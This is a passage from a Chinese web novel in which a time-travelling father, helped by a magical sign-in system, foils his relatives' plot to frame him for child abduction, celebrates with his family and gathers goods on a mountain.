“多谢张捕头。”江河拱手道:“小民不求什么功劳奖励,只求一家人平平安安就好。”
“至于这捉拿案犯的功劳,跟小民着实是没有太大的关系。主要还是张捕头您与诸位差爷明察秋毫,这才将这些**一举擒拿。”
“真要是有什么功劳与奖励的话,那也应该是你们几位差爷的!小民福薄,就不沾这个光了……”
几句马屁拍下来,张云龙与其余几名差役的面上瞬间变得明朗开怀了许多,再看向江河时,也觉得这个二赖子顺眼了不少。
说实话,外出办案,他们最喜欢的就这种安分守己,不与他们争功的“老实人”与“聪明人”。
江河这小子虽然在村里的名声不怎么样,但是照他今天这一系列的言行举止来看,无疑是个“聪明人”。
见江河这么知趣、懂事,张云龙便不再多言,挥手让衙役们押解人犯、装载赃证,准备离开下河村,回县城向县尊老爷复命。
王老四、王小顺等人虽然恨意难消,但也只能眼睁睁看着江十二、江洋及赵神婆等人被官差们押走,只能对
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着他们的背影痛骂不休。
江河看着衙役队伍渐渐远去,片刻工夫就完全不见了踪影,这才算是彻底安下心来。
现在,江家老宅里的一家四口,全都披枷带锁,被押送到了县城,短时间内怕是都再难出来了。
而老宅发生的那场**案,因为苦主的缺失,自然也就不了了之了。
还有那邪祟之说,经过今天这场风波之后,以后估计再也不会有人敢提了。
身上所有的麻烦尽去,江河的心情也不由跟着变得轻松愉快起来。
他回转过身,走到王小豆与王小丫两个孩子的跟前。
此时,两个小家伙已经停止了哭泣,在家人怀里抽噎着,小脸上还挂着泪珠。
江河缓缓蹲下身形,心念一动,伸手从“怀”中拿出两根剥了皮的棒棒糖,径直递送到王小豆与王小丫的跟前,温声说道:
“来来来,小豆子,小丫头,来吃块糖,甜甜嘴巴,把之前发生的那些不好的事情全都忘掉!”
两个小家伙见状,不约而同的舔了一下自己的嘴唇。
王小豆胆子大,且早就已经跟江河打过交道,并不是很惧怕江河,嘴里说了一句“谢谢江爷爷”后,就伸手把棒棒糖接过,直接塞进了口中。
王小丫见王小豆都把糖果接过了,也跟着说了句“谢谢江伯伯”,然后快速将棒棒糖接过,迫不及待的放进了小嘴巴里。
然后。
两个小家伙全都发出了极为满足的嗯嗯声,原本紧张害怕的情绪,也在瞬间得到了极大的缓解。
“江河兄弟,大恩不言谢!以后有用得着我王老四的地方,尽管开口!”王老四红着眼睛,重重拍了拍江河的肩膀。
“还有我王小顺!以后你就是我亲兄弟,有事儿尽管叫我!”王小顺也激动地拍着自己的胸脯,信誓旦旦。
这一次,多亏了江河的提醒,否则他们两家的孩子还指不定会出什么意外呢。
现在,他们只要一想到被埋在赵神婆家地窖中的那些孩童骸骨,二人就忍不住一阵心惊肉跳,唯恐他们家孩子也会遇到同样的不幸。
也正是因为如此,他们才会对江河这次的“救命之恩”,倍加感激。
江河轻笑着摆了摆手,道:“大家都是乡亲,互相帮衬是应该的。”
说完,江河又有些自责的说道:
“况且,这俩孩子之所以会遭此劫难,也与我脱不开干系。”
“若不是老宅那些人一心想要将我构陷成邪祟,他们也不会与赵神婆相互勾结,更不会打起这俩孩子的主意……”
王老四、王小顺闻言,同时摇头摆手为江河辩解道:
“江河兄弟莫要胡言,我们又不是糊涂蛋,哪里会不明白此事你也是受害者!”
“要怪就怪江老头、王三妮一家太过恶毒,怪赵神婆本身就心思不正,早有害人之心。”
“这次就算是没有江河兄弟你,那赵神婆怕是也早就盯上我们家孩子了……”
一提起江十二、江洋父子和赵神婆,王老四与王小顺忍不住又是一阵怒骂。
可以肯定的是,经此一事,江家老宅还有赵神婆这帮人,在下河村内的名声算是彻底臭了。
而江河这个原本的二赖子、臭地痞的形象,反而在众多村民们的心中,有了极大的改观。
第88章 土豆炖牛腩
天近正午,热闹不再。
在老族长王德顺及里正王冶山的催促下,围观的人群也渐渐散去,不过却各怀心事。
有失去孩子的家庭沉浸在悲痛中,有找回孩子的家庭在庆幸后怕。
更多的村民则是震惊于今日吃到的这个大瓜,意外于自己的身边竟然有赵神婆这样穷凶极恶的**犯,全都议论纷纷。
江河没再理会外面这些村民,领着家人,回到了自家小院。
院子里还残留着搜查后的凌乱,但不管是**、江源还是赵穗、罗灵,每个人的心中却都感到了前所未有的轻松。
一直压在他们身上的那座大山,仿佛终于被人移走了!
以后他们再也不用担惊受怕,再也不用担心老宅的爷奶和二叔,会突然闯进他们家来抢钱抢粮了。
“爹,咱们……真的没事了?”
**还有些不敢相信,低声向江河问道。
他之前最为心虚忐忑的就是敲了赵神婆闷棍的事情。
可是那些官差竟然连提都没提,问都没问,就像是完全没有发生过一样。
反倒是那赵神婆,最后被县里来的那些官差给戴了枷锁,押送到县城里去了。
还有他的爷奶、二叔、二婶,竟然也因为参与拐卖村中幼童之事,被衙役们一并带走了。
而且看那架势,以后怕是都再难回来了。
这一切的一切,给**的感觉就像是在做梦一样,是那么的梦幻,那么的不真实。
“嗯,没事了。”
江河肯定地点头,看着几个孩子和儿媳们,道:
“你们且把心放进肚子里,那些坏了心肝的家伙,已经全都被抓走了,以后……再没有人敢来欺负你们了。”
“从今天起,咱们一家人关起门来,好好过自己的日子。”
说着,他直接开口对**、江源二人吩咐道:
“老三老四,都别愣着了,你们先去把院子收拾干净。”
“赵穗,罗灵,你们这就去灶房生火做饭,今天中午咱们吃顿好的,好生庆祝一下!”
“哎!”
**、江源响亮地应了一声,立刻动手收拾起院中散落的柴火和杂物。
赵穗和罗灵也抹了抹眼角,快步走向灶房。
江河则趁机回到堂屋,将他之前收入物品栏中的那些肉啊蛋啊大米啊白面啊之类的东西,全部取出放到桌面上。
待到赵穗与罗灵发现灶房里竟然连一粒粮食也没有了,慌忙跑来向他禀报时,江河这才指着桌面上的那些食物,轻笑着说道:
“别担心,我之前怕那些衙役手脚不干净,乱拿咱家的东西,便提早把灶房还有堂屋里的东西都收起来了!”
两个儿媳见状,不由全都长松了口气,脸上也露出了由衷的笑容。
“还是爹您想得周到!”
赵穗连忙上前,看着那些白花花的大米、精面,还有那一大块猪肉和数十枚鸡蛋,眼睛都跟着亮了几分。
罗灵也小心翼翼地上前摸了摸那细软的面粉,有些难以置信地问道:
“爹,这些……都是咱家的?怎么感觉比之前多了不少呢?”
灶房里之前确实放了不少粮食和肉蛋,但是罗灵可以肯定的是,那些粮食中肯定没有这么白这么细的面粉。
而且,剩下的肉和鸡蛋也绝对没有现在这么多。
“嗯,都是咱家的。”江河肯定地点头,“多出来的那些都是我后来又去买回来的。”
“今天老子高兴,你们两个就放开了做,让大家都吃顿饱饭、吃顿好饭!”
罗灵还想要再多说什么,却被大嫂给轻拽了一下衣袖。
“爹你放心,我们这就去做饭,保证让一家人全都吃饱吃好!”
说着,赵穗拉着罗灵去把桌面上的粮食与肉蛋全都收起,抱着出了堂屋。
“大嫂,我刚刚是不是说错话了?”
回到灶房,意识到自己可能说错了话的罗灵,有些不安的小声向赵穗问道。
她知道,刚刚大嫂肯定也发现那些粮食和肉蛋,要比昨晚她们煮过饭后剩下的还要多上不少。
可是大嫂却什么都没说,什么也没问,反倒是她似乎有些多嘴多舌了。
“没有没有!”赵穗轻摆了摆手,道:“其实我心里也感觉有些奇怪,只是还没有来得及开口问爹罢了。”
“不过再后来我就想明白了,有些事咱们根本就没有必要刨根问底,问的多了爹难免会烦。”
“依我看,咱们管他那些东西是怎么来的,只要进了咱家的门,那就是咱们的东西,咱们只管听爹的话,照做就是了。”
“再怎么,有,总比没有强,你说对吧,弟妹?”
罗灵微微点头。
是啊,有总比没有强。
跟七八天前他们过的那些日子相比,现在他们的日子简直就是在天上。
所以,想那么多做什么,只是徒增烦恼而已。
若是因此惹恼了公爹,那就太不值当了。
至于说这些东西怎么来的……
重要吗?
只要爹能弄来,那就是爹的本事,她们就只管听从爹的吩咐好好做饭就行了。
“大嫂,你说得对。”罗灵脸上露出了释然的笑容,“是我钻牛角尖了。咱们赶紧做饭吧,大家忙活了一个上午,肯定早就饿了。
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”
“哎!这就做!”赵穗也跟着笑了起来,然后手脚麻利地开始刷锅烧水。
妯娌俩在灶房里忙碌起来,一个淘米准备熬粥,一个切肉洗菜准备炒菜炖肉。
很快,小小的灶房里就热气升腾,香气四溢,充满了久违的、属于家庭的温暖和希望。
堂屋里,江河听到两个儿媳在灶房里的窃窃私语,不由微笑摇头。
大儿媳赵穗,明显要比老三媳妇罗灵更灵活、通透一些,以后倒是可以考虑让她来管家。
不过现在想这些还为时过早,先把眼前的日子过好再说。
江河抬头看了一下天色,时近正午,再想要去县城已然有些不赶趟儿了,便心神一动,直接默念:
“签到!”
“叮,签到地点刷新成功,签到地——下河村,江宅!”
“叮!恭喜宿主签到成功,触发三倍暴击奖励,获得铜钱50文*3,精制面粉50斤*3,土豆50斤*3,牛腩肉五斤*3!”
果然,在家里签到所得的东西,基本上都是这些最基本的生活物资。
不过,三倍的暴击奖励,还算不错!
而且,今天竟然爆出了牛肉,而且还是他最喜欢吃的牛腩肉。
不错不错!
还有那一百五十斤的土豆,跟牛腩简直是绝配。
只能说,系统是懂他的。
知道他想吃土豆炖牛腩了,直接就把相应的原材料给送了过来,他还能有什么不满意的?
此时。
时值正午,秋日阳光正好,暖洋洋地洒在干净整洁的院子里。
**和江源已经把院子收拾齐整,额头上全都见了细汗。
但是他们脸上却都带着笑,看着堂屋和灶房的方向,闻着越来越浓郁的饭菜香气,只觉得浑身充满了力气,心里格外踏实。
片刻后。
饭菜做好了。
堂屋的破木桌上,摆开了丰盛的午餐:
一大盆油亮喷香、粒粒分明的白米饭,一大盘炖得酥烂入味、汤汁浓郁的萝卜烧肉,还有一碟清脆的腌菜,以及十几个白水煮鸡蛋。
知道公爹爱吃面条,罗灵还专门用那些白面,为江河做了一碗手擀汤面条。
江河见了,不由满意点头。
与原身一样,他也极爱面食,尤其喜欢吃炸酱面、油泼面及蒸卤面。
只可惜,赵穗与罗灵的手艺有限,根本就不会做这些面食,以后他再想吃的话,就得自己动手了。
好在,眼前这碗手擀面条,罗灵也做得极为劲道。
哪怕只是一碗清汤面,在撒上一些葱花与猪油渣后,吃起来也别有一番滋味。
第89章 竟然是小妹!
“爹,你们先吃,我去外面寻寻小妹还有江娴、江涛他们几个。”
趁着家人都进堂屋准备吃饭的时候,老大媳妇儿赵穗突然解下身上的围裙,向江河几人招呼了一声,准备出门去找江沫儿、江娴几个小的回来吃饭,一边走嘴里还一边叨念着:
“真是奇怪了,小妹以前挺懂事的呀,每次带着孩子们出去玩,也会在吃饭前准时回来,怎么这次却耽搁了?”
江河闻言,突然开口向赵穗说道:“直接去宗祠那边吧,他们现在应该都在那里。”
呃?
赵穗一愣,往外走的身形也直接定在了当场,本想要开口询问一句,却**泽给抢了先。
“爹,你咋知道小妹他们去宗祠那边玩了呢?”
“看守宗祠的老九爷太过吓人,村里的孩子平常都不敢去那边,小妹怎么会带着江娴、江涛他们去宗祠呢?”
不怪**会有这样的疑问,因为事实就是如此。
负责看守王氏宗祠大门的老九爷,因为早年被烧伤过,大半张脸上全是被烧灼过的旧伤,看上去面目狰狞之极,不止一次把路过的小孩子给吓哭过。
所以,村里的孩子们一般情况下,都不会主动到宗祠那边去玩闹。
江沫儿今天虽然没有带着江娴几个小家伙,跟着他们一起到田间去玩。
但是正常情况下,也不应该会是去宗祠那边啊?
江河淡声道:“是我叮嘱江沫,今天务必把江娴、江涛、江夏、江琴给带到宗祠那边去。”
“看守宗祠的老九爷虽然面目可憎,但却是个心慈心善之人,把孩子放到他那边,我放心。”
**、江源、罗灵三人听得一头雾水,而赵穗却瞬间就变了脸色,她有些紧张的开口向江河问道:
“爹,你的意思是,娴儿他们若是不去宗祠的话,可能会有危险?”
想到王老四与王小顺家丢的那两个孩子,赵穗再次急声开口问道:
“爹,你是不是早就知道爷爷和二叔要在村子里拐骗孩子,所以才会让小妹带着娴儿他们提前躲进了宗祠?”
经赵穗这么一提醒,**、江源还有罗灵三人也同时一个激灵,不约而同的朝着江河这边看来。
“差不多吧!”
江河没有隐瞒,缓缓点头道:
“昨晚去老宅家救火的时候,我看到赵神婆也在老宅,且与你们爷奶站在一处,表现得极为亲近。”
“所以我就留了一个心眼儿,趁着打火救火的空当,溜到他们身后,听到了他们想要在今日陷害我的密谋。”
“我担心他们会对家里的孩子不利,所以就早早的叮嘱江沫儿,今天出去玩的时候,就把几个小侄和小侄女带到村尾的宗祠里去。”
砰~!
**忍不住一拳捶打在身前的桌面上,震得桌上的饭菜都跟着抖了三抖。
“畜生!他们简直连畜生都不如!”
**眼睛都红了,声音因为愤怒和后怕而颤抖。
“他们不仅想害爹你,竟然还想对孩子们下手?!”
“江娴、江涛他们才多大!那可是他们的亲重孙子、亲重孙女啊!他们也下得去手?!”
江源也气得浑身发抖,牙齿咬得咯咯响。
罗灵更是吓得脸色煞白,紧张得浑身直颤,恨不得马上就冲出门去,找寻自己的两个女儿。
赵穗捂着嘴,眼泪不自觉的夺眶而出,既是后怕,也是庆幸。
幸亏公爹早有防备,否则……后果简直就不堪设想!
她完全不敢想象,如果自己的孩子也像王小豆和王小丫那样被迷晕拖走,生死不知,她会不会直接疯掉?
“爹……您既然昨晚就知道了这些?那您怎么都没有跟我们提前说一声呢?”
**喘着粗气,看向江河的眼神充满了复杂,有后怕,有庆幸,更有一种难以言喻的震撼和敬畏。
同时他也意识到,老爹昨天晚上为何非要带着他去敲了赵神婆的闷棍了。
原来并不止是因为有关邪祟的谣言,更是为了狠狠的教训一下赵神婆,防止第二天赵神婆再出来作妖。
只是没有想到,哪怕是在被打废了双腿双臂,甚至就连嘴巴都被打烂,说话都不清不楚的情况下,赵神婆竟然还是如约出现了!
江河神色平静地点了点头:“听到了,所以他们今天这一出,我才早有防备。”
“只是让我没想到是,他们竟然真的敢动手,而且目标并不止是我与家里的几个小辈,就连村里的其他孩子,他们都没有放过。”
“至于说为何没有提前告诉你们,也只是不想让你们太过担心罢了。”
他看向犹自气愤难平的**和江源,还有惊魂未定的赵穗和罗灵,语气缓和下来:
“好了,事情都过去了,孩子们没事就是万幸。”
“赵穗,你快去宗祠把孩子接回来吃饭吧,这会儿估计他们都饿坏了。”
“哦,对了,给老九爷也带些饭菜,还有一壶酒过去,他帮咱们看了一上午孩子,不能没有半点儿表示。”
“哎!知道了爹,我这就去!”赵穗抹了把眼泪,连忙应声。
“大嫂等等我,我也跟你一起去!”
趁着赵穗又回来给老九爷盛饭菜和拿酒坛的空当,罗灵突然开口,也要跟着赵穗一同去宗祠接孩子。
片刻。
妯娌二人便携同出门,直奔村北处的宗祠方向。
待她们离开之后,**突然想到了什么,又回过头
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来看向江河问道:
“爹,之前爷和二叔非要进咱家灶房里去搜罗什么罪证、赃物,该不会就是他们贼喊捉贼,故意陷害咱家吧?”
江河再次点头,心中感叹,老三这个榆木脑袋,终于反应过来了。
“既然如此,他们必是提前就在咱家的灶房里藏了东西,如此才可确保人赃并获,不给爹辩驳翻身的机会。”
“可是,为什么在他们进灶房搜查的时候,那些所谓的赃物与罪证,就全都不见了呢?”
见老爹点头,**又忍不住疑惑开口问道:
“难道那些东西,也是爹你一早就给他们收走了?”
“我可没有那个本事。”江源摇头道:“他们往咱家藏东西的时候,我正被县里的那些官差们带着去了老宅。就算是明知道他们可能会栽赃陷害,也分身乏术啊。”
**:“不是爹的话,那还能有谁?”
“是你们小妹做的!”
江河没有卖什么关子,直接就公布了答案。
“在将江娴、江涛几个小家伙送到宗祠那边之后,小沫儿就又悄悄回了家里,一直躲在东屋的柴房之中,等着老宅的那帮人主动上门。”
“待江十二与江洋离开之后,小沫儿就从柴房出来,把江十二与江洋藏在灶房内的东西偷偷拿走。”
“不然,若是真的让那些差役或是江十二他们,当众搜出了那些赃物与罪证,我就算是有一百张嘴,也很难解释得清。”
咝~!
**与江源同时倒吸了一口冷气。
他们万也没有想到,真正助他们一家解决了今日这般致命危机的人,竟然是才年仅十岁的小妹!
虽然这一切应该都是老爹在暗中授意指点。
但是,江沫儿这样一个小丫头,竟能有这样的勇气与胆色,甚至还将任务完成的很好,着实是出乎了他们的预料之外。
“爹,这么危险的事情,你咋不让我或者三哥去做,非要让小妹去冒险呢?”江源有些不满与后怕的开口质问江河。
江河轻瞥了他一眼,淡声道:
“你们四个每天都要下地耕种,太招人眼了。”
“江十二他们又不是傻瓜,若是见你们有一人不在地里,自然会心生疑虑,不敢冒然行事。”
“只有江沫儿,每天都在村子里或是田间地头,带着几个侄子侄女一起玩耍,就算是失踪了一小会儿,也不会引起别人的怀疑。”
小孩子不起眼,也最容易被人给忽略掉。
当然,更重要的是,江沫儿那丫头人小鬼大,身上有一股子灵醒劲儿,算是他们家这几个孩子中最聪明也最有灵性的一个。
否则的话,江河也不会轻易让她去冒险做这些事情。
第90章 奖励,读书
说话间,赵穗、罗灵已经带着五个孩子从外面回到了家中。
“爹!”
“爷爷!”“爷爷!”
几个孩子先后上前跟江河招呼见礼,再看向江河这个曾经的渣爹与渣爷爷的时候,眼中已然再没有了太多的紧张与惧怕。
“诶!乖乖乖!来,一人一根棒棒糖!”
江河开怀一笑,毫不吝啬地从怀里掏出五根棒棒糖,给了几个小家伙一人一根。
“谢谢爹!”“谢谢爷爷!”
几个小家伙欢天喜地的接过棒棒糖,高声向江河道谢。
江沫儿在接过棒棒糖后,直接把棒棒糖塞入口中,然后又把一直斜挎在右肩上的一只小包裹取下,双手递到江河的跟前,脆声说道:
“爹,你看,这就是爷爷和二叔他们之前藏在咱家灶房里的东西。”
江河见了,不由双眼微眯。
他自然知道这里面都装了些什么东西。
只是还不等他伸手去接,**就率先一步把包裹接过,一脸愤懑的说道:
“我倒要看看,爷和二叔他们究竟在咱们家里藏了什么东西?!”
说着,他就已经随手把包裹打开。
只是,当他看到包裹里面那两件沾染得满是血汗的小孩子衣服时,顿时被吓得一个激灵,手中的东西全都散落到了地上。
啊!
屋子里的其他人,除了江河与江沫儿之外,全都被这突然冒出来的血衣给吓得惊慌失措,其中赵穗与罗灵,更是惊声尖叫了出来。
太吓人了!
谁能想到,一直**沫儿背在身上的这个小包裹里面,竟然装的是这么可怕的东西!
“这是王小豆与王小丫今天穿在身上的衣裳,就是不知道这上面的血是不是他们两个的……”
江沫儿的声音清亮而适时的在众人的耳边响起。
直到这时,**、赵穗与罗灵几人才回想起来,之前王老四与王小顺他们,在将王小豆与王小丫从赵神婆家抱回来的时候,他们的身上似乎真的没有穿外衫。
这么说来,这两件衣服竟还真是王小豆与王小丫那两个被拐带孩子的衣服!
“爹,之前赵神婆一过来,就嚷嚷着咱们家有怨气,有邪祟,还说那两失踪的孩子就是被邪祟给吃掉了……”
看到地上散落的血衣,**突然倒吸了一口冷气,极为后怕的开口说道:
“若是当时,县里的差役真的把这些血衣从咱们家灶房里搜出来,爹你岂不是……岂不是就成了罪大恶极的**邪祟,甚至有可能会直接送到火刑架上当众烧死?!”
**的声音带着颤抖,越想越是后怕。
直到此刻,他才真正明白老宅和赵神婆的毒计是何等阴狠!
这不仅仅是诬告偷窃,更是想直接要了他爹的命,还要让他们家的所有人都受到牵连,从此身败名裂,永世不得翻身!
江源、赵穗、罗灵三人闻言,也是脸色煞白,心有余悸。
他们当时只以为老宅是诬告偷钱,最多挨顿打、道个歉,或是赔些钱,哪想到这一切的背后竟是如此歹毒的杀局!
江沫儿虽然年纪小,但经历了今天这么多事,又听了老爹刚刚的解释,也大概明白了家里都发生了什么事情。
小丫头的面色也瞬间变得有些发白,紧紧拉住了江河的衣角。
江河看着家人这般后怕心悸的样子,不由微微点头,趁机说教道:
“现在知道怕了?所以我说,对于有些人,就不能有半分心软和侥幸。”
“他们早已不配成为你们的亲人,而是欲置我们于死地的仇敌。”
在这个时代,鬼神邪祟之说深入人心,一旦被扣上这样的帽子,几乎没有辩解的余地。
尤其是在有“铁证”的情况下,他当时直接被愤怒恐慌的村民活活烧死的可能性极大。
别人都特么想要置他于死地了,还指望他念个**的旧情?
真当他还是以前那个只知道愚孝的傻蛋?
说着,江河弯腰,拿出一块干净的布垫着手,将地上的两件小血衣捡起,重新包好,神色平静却带着一丝不容置疑的语气向在场几人说道:
“这件事,算是一个教训。你们以后要记住,害人之心不可有,防人之心不可无。”
“尤其是面对那些早已撕破脸皮,对你们露出了獠牙的所谓‘亲人’,更要打起十二分的精神,丝毫不能留情!”
他看向脸上犹带惊悸的**、江源,还有紧紧护着怀中孩子的赵穗和罗灵,语气放缓,却依然坚定:
“从今天起,江家老宅那边,与我们大房,恩断义绝,再无瓜葛!”
“以后,他们不再是你们的爷奶、二叔、二婶,而是意图谋害我们全家性命的仇人!这一点,你们必须牢牢记在心里!”
**和江源对视一眼,都从对方眼中看到了同样的决绝和醒悟,用力点头:
“爹,我们记住了!”
赵穗和罗灵也跟着重重点头,今天这般血淋淋的教训,足以让她们彻底认清现实,认清老宅那些人的真面目。
见几人全都把这件事情给记在了心里,江河微微点头,随手便将手中的布包递到**的跟前,轻声吩咐道:
“去,把这些东西全都扔到灶台里烧掉,这件事情以后也要全都烂在肚子里,莫要再对任何人提起!”
嗯!
**用力点头,然后伸手将布包接过,快步走向灶房。
不一会儿的工夫,灶房里就传来了一些布料被烧焦的难闻气味。
待**从灶房回来,正好看到老爹正亲昵的拍着小妹的脑袋,高声夸赞道:
“这次多亏了小沫儿这丫头!胆大心细,临危不乱,算是为咱们家立了大功了,也算是救了爹一命!”
江沫儿被夸得小脸微红,眼睛亮晶晶的,开心得不得了。
从小到大,老爹对她不是打就是骂,左一句赔钱货,右一句死妮子,还从来都没有像是现在这样夸赞过她呢。
这可算是破天荒的头一回呢,她心里别提多激动了。
“为了奖励你,今天你三嫂给爹下的这碗热汤面,就给你吃了!”
说着,江河便将刚刚罗
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灵给他做的那碗手擀面,端递给江沫儿。
同时,还不忘往碗里又多夹了几块肥肉,看得江沫儿几人,一个劲儿的吞咽口水。
“爹,这一大碗面,真的全都给我吃?”江沫儿有些不敢置信的开口向江河问道。
江河理所当然道:“当然了,你今天可是咱们家的大功臣,除了这一碗面外,爹还决定再给你做一身新衣服!”
“还有,你以前不是一直都嚷嚷着想要像江贤、江达那样读书**字吗?”
“明天爹就去村里的私塾先生那里问一问,看看能不能把你送去读书!”
江沫儿闻言,眼中先是一喜,继而神色又暗淡了下来,低声道:
“爹,那是我以前不懂事瞎说的,我是女孩子,这世间哪有女孩子去私塾里读书**字的?况且,私塾里的束脩可贵了,咱家还是不要浪费这个钱了。”
江河微微摇头,一脸郑重道:“别人家怎样我管不着,但是在咱们家,女孩子也一样拥有读书**字的机会与权利!”
说着,江河目光微扫,一一在江源、江娴、江涛还有江夏、江琴几个小家伙的脸上扫过,定声道:
“以后咱们家,只要是到了开蒙的年龄,每个孩子都可以入私塾读书!”
“老子不求你们以后能功成名就、金榜题名、光宗耀祖,只希望你们能识字明理,别一辈子活得稀里糊涂的就行!”
“至于束脩,你们完全不必担心,有老子在,家里以后不会再缺钱花,你们只管安心学习就是了!”
做为一个从后世穿越过来的有为青年,江河心里可没有什么男尊女卑,女孩子不能读书的封建观念。
只要孩子们愿意读书,想要入私塾学习,他都会举双手双脚赞成。
闻言,几个小家伙还没什么反应,**、罗灵还有赵穗三人,全都跟着眼前一亮。
尤其是赵穗,她膝下的两个孩子最大,马上就到了能开蒙的年岁。
若是按照公爹的说法,他们家江娴和江涛,以后岂不是也能入私塾去读书?
江娴一个女娃其实读不读书都无所谓,赵穗也没有那么在意。
但是她儿江涛,若是也能入私塾读书,以后能像江贤、江达那样考上了秀才,获得了功名,那可是光宗耀祖的大好事啊,她自然是求之不得。
“行了,都别愣着了,赶紧坐下来吃饭!”
江河拉着江沫儿,端着那一大碗手擀汤面率先在餐桌前坐下,同时招呼着其他几人道:
“来来来,快吃饭,再耽搁下去饭菜都要凉了!”
“今天这顿饭,不仅是庆祝老宅那帮混蛋全部被抓,更是在庆祝咱们全家平安渡过了这次劫难,庆祝小沫儿立了大功!”
“谁都别客气,给老子放开了腮帮子,使劲吃!”
经他这么一说,众人都从刚刚的震惊之中回过神来,重新将注意力放回满桌诱人的饭菜上。
劫后余生的庆幸、家人平安的喜悦、以及对未来新生活的期待与憧憬,交织映衬在一起,让这顿午饭吃起来格外香甜。
第91章 天姥山,新的签到地点
午饭后。
江河没有再像以前那样躺在床上午休,而是一个人溜达着去了村后的山林之中。
还是那句话。
他得为自己身上多出来的那些钱财的来源,寻找到一个正当且别人还挑不出理来的合适理由。
而山林之中的猎物与诸多奇珍,无疑就是最好的解释。
要知道,现在他的物品栏内还安放着六支百年野山参呢,随便拿出来一支卖出的钱,都够他们家几年的花销了。
而且以他现在的身体素质,无论是爬山还是涉水,甚至活捉野鸡、野兔,都轻松之极。
只要他每天得空的时候,就在这山林里转上一圈,顺便提点猎物回去,天长日久之间,家里的日子慢慢变好也就在情理之中了。
秋日的午后,阳光透过稀疏的枝叶洒下斑驳的光影,山林里显得格外宁静,只有鸟鸣虫唱和风吹树叶的沙沙声。
空气中弥漫着泥土、落叶和草木特有的清新气息,步入其中,不禁让人精神一振。
江河深吸一口气,感觉整个身心都随之舒坦了不少。
穿越过来这些天,一直疲于应付内忧外患,邪祟谣言,直到此刻,他才真正有了一丝闲适和探索的心情。
他一边沿着熟悉又陌生的山路往里走,一边留意着四周的环境。
附近的山林因为靠近村子,村里人在农闲时早就已经把里面生长出来的些许资源搜罗得差不多了。
不过山林深处,因为时有猛兽出没,倒是少有人敢轻易深入,相对而言,各种资源也还算丰富。
江河漫步来到一处视野开阔、能看到部分山景的小坡地,然后静心凝神,倾注耳力,聆听着附近所有异常的声音。
自从昨日,他将【八段锦**经验包】全部吸收炼化,获得了足足六十年八段锦的功力与修行经验之后,他的五感便比普通人要敏锐了不知多少倍。
此刻,在如此静谧的山林中,这种敏锐感知再次被放大了许多。
风过林梢的呜咽,远处溪流的潺潺,近处枯叶下虫豸的窸窣……
各种声音相互交织,全都在江河的耳边一一呈现。
这其中,江河并未听到有大型野兽活动或人类接近的声音响动。
显然,这处山坡的周围应该是安全的。
有了这样的探查结果之后,江河没有再继续往里深入,而是一屁股坐在这脚下枯黄的草地上,惬意的晒起了太阳来。
想起自己今天的【特效大力丸】还没有吃,便意念一动,从物品栏中取出一枚【特效大力丸】直接塞入口中。
丹丸入口即化,片刻间便化为一股精纯的能量融入江河周身,使得江河本身的力量,瞬间就增长了五十斤。
“爽!”
江河用力地握了一下自己的双拳,感受着肌肉中澎湃增长的力量,这种实实在在变强的感觉,让他心情愈发舒畅。
【特效大力丸】每天只能服用一颗,每颗都能永久性的增加五十斤气力。
五十斤这个数字,听起来似乎并不是很多。
但是这五十斤的气力,却是永久性增加的,并不会随着服用者年龄的增长或是气血的衰败而有任何变化。
仅是这一点,就足以证明这种【特效大力丸】的功效有多么牛逼了。
况且,江河之前签到一共得到了六颗这样的【特效大力丸】,若是全都服用了,就能直接为他增长三百斤左右的力气。
这要是再加上他圆满境的八段锦所带来的气力增幅,待他将所有的【特效大力丸】全部服用之后,他自身的力气直接达到八百斤甚至一千斤,都不是没有可能。
有这样一副强壮到离谱的身体打底,他在这片山林之中,只要不故意作死,横着走都不是问题。
就这样,江河头枕双臂,翘着二郎腿,安然的躺在秋阳遍布的山坡上假寐了起来。
耳中听着林间的自然交响,面上拂过秋日微醺的暖风,江河不禁有些昏昏欲睡。
片刻后。
当他在这片山林之中停留了足有一刻钟的时间后,耳边突然响起了熟悉的提示声音:
“叮,发现新的签到地点,三河县,天姥山,请问是否签到?”
江河一怔,没想到在村后的这座大山里竟然也能签到!
他没有太多犹豫,直接在心中默念了一句:“签到!”
“叮,签到地点刷新成功,签到地——三河县,天姥山!”
“叮,宿主激活全新签到地点,触发新手福利暴击,此次签到宿主将获得十倍签到奖励!”
“叮!恭喜宿主签到成功,获得铜钱50文*10,什锦野鸡2只*10,新鲜秋叶梨10斤*10,野生鲜木耳5斤*10!”
一连串的提示音在江河脑海中响起,尤其是那“十倍暴击奖励”和签到得来的物品名称,皆都让他精神为之一振。
在此之前,他是完全没有想到,村后这片连绵的大山,竟然也会被签到系统给评判为一个全新的、独立的签到地点!
这对他来说,绝对是一个极好的消息。
这意味着,他每天除了家里的固定签到地点之外,又多了一个可以稳定获取各类资源的全新签到地点!
以后,他就算是没有时间往县城里里跑,也可以到这村后的天姥山上签签到,碰碰运气。
就像是今天这样,虽然奖励的物品看起来不算特别珍贵。
但是不管是野鸡、秋梨还是木耳,在这大山之中都算是比较常见的东西,拿出去更不会引人怀疑、猜忌。
最重要的是,这些东西的出现,完美地契合了他想要“从山里获得资源”的计划!
他甚至都不需要再去刻意狩猎,每天只是做做样子,在这片山林之中转上一圈,就可以拎着这些“猎物”直接回家了。
若是别人问起,他也可以名正言顺地将之归功于“在山里运气好、收获多”了。
看了看物品栏内新增的这些签到物品,江河心情大好,睡意全无。
他坐起身,看了看四周,确认四下无人之后,便意念微动,直接从物品栏内取出了两只看上去十分肥美的什锦野鸡,以及二十斤秋梨和十斤鲜木耳。
将这些东西放在他出门时背在身上的那只竹篓里,佯装成是他辛苦在山林之中狩猎的收获。
做完这些,江河抬手拍了拍身上的草屑,缓缓站起身来。
看着天色还早,他也没急着回去,而是闲庭信步的在附近山林中四下游走探寻起来。
在超常的五感和些许运气的加持下,接下来的小半个时辰内,他还真发现了不少好东西。
先是在一丛灌木之下,找到了一窝野鸡蛋,足足有七八枚。
又在一处背阴的松木下,采到了一小捧品相不错的鲜蘑菇,不过只有一两斤左右。
最后,还在一棵老枣树上,摘到了十几斤红艳艳的野枣。
这些真实的赶山的收获,再加上他背篓安放着的那两只肥野鸡、二十斤秋叶梨,以及十斤鲜木耳,就构成了他今天下午进山的全部“成果”。
这样的收获,任谁见了,都不会起半点儿猜疑,只会
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说他今天的运气不错。
又在山里溜达了小半天后,眼见着日头已经开始偏西,江河便开始装模作样的掉头下山,原路返回。
当他背着略显沉重的背篓,手里提着两只醒目的大野鸡,踏着夕阳的余晖走出山林时。
